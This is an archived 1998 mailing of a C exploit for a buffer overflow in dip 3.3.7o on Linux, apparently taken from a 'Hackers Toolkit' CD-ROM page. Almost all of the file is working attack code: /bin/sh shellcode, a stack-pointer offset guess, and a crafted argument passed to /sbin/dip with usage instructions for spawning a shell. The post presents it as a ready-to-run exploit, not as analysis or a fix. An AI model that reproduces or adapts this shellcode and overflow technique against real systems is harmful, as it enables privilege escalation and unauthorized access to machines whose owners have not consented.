home *** CD-ROM | disk | FTP | other *** search
/ Hackers Toolkit v2.0 / Hackers_Toolkit_v2.0.iso / HTML / archive / Unix / c-src / dip3_3_7o-exp.c < prev    next >
C/C++ Source or Header  |  1999-11-04  |  1KB  |  73 lines

  1.  
  2. [ http://www.rootshell.com/ ]
  3.  
  4. From jamez@uground.org Thu May  7 16:25:54 1998
  5. Date: Thu, 07 May 1998 20:13:55 +0000
  6. From: jamez <jamez@uground.org>
  7. To: www-request@rootshell.com
  8. Subject: dip 3.3.7o exploit
  9.  
  10. hi there, there's an exploit for dip 3.3.7 buffer overflow. Tested on
  11. Slackware 3.4.
  12. (7 May 1998)
  13.  
  14. ---- cut here ----
  15.  
  16. /*
  17.   dip 3.3.7o buffer overflow exploit for Linux. (May 7, 1998)
  18.   coded by jamez. e-mail: jamez@uground.org
  19.  
  20.   thanks to all ppl from uground.
  21.  
  22.   usage:
  23.      gcc -o dip-exp dip3.3.7o-exp.c
  24.      ./dip-exp offset (-100 to 100. probably 0. tested on slack 3.4)
  25. */
  26.  
  27.  
  28. char shellcode[] =
  29.  
  30. "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  31.  
  32. "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  33.         "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  34.  
  35.  
  36. #define SIZE 130
  37. /* cause it's a little buffer, i wont use NOP's */
  38.  
  39. char buffer[SIZE];
  40.  
  41.  
  42. unsigned long get_esp(void) {
  43.    __asm__("movl %esp,%eax");
  44. }
  45.  
  46.  
  47. void main(int argc, char * argv[])
  48. {
  49.   int i = 0,
  50.       offset = 0;
  51.   long addr;
  52.  
  53.  
  54.   if(argc > 1) offset = atoi(argv[1]);
  55.  
  56.   addr = get_esp() - offset - 0xcb;
  57.  
  58.   for(i = 0; i < strlen(shellcode); i++)
  59.      buffer[i] = shellcode[i];
  60.  
  61.   for (; i < SIZE; i += 4)
  62.   {
  63.      buffer[i  ] =  addr & 0x000000ff;
  64.      buffer[i+1] = (addr & 0x0000ff00) >> 8;
  65.      buffer[i+2] = (addr & 0x00ff0000) >> 16;
  66.      buffer[i+3] = (addr & 0xff000000) >> 24;
  67.   }
  68.  
  69.   buffer[SIZE - 1] = 0;
  70.  
  71.   execl("/sbin/dip", "dip", "-k", "-l", buffer, (char *)0);
  72. }
  73.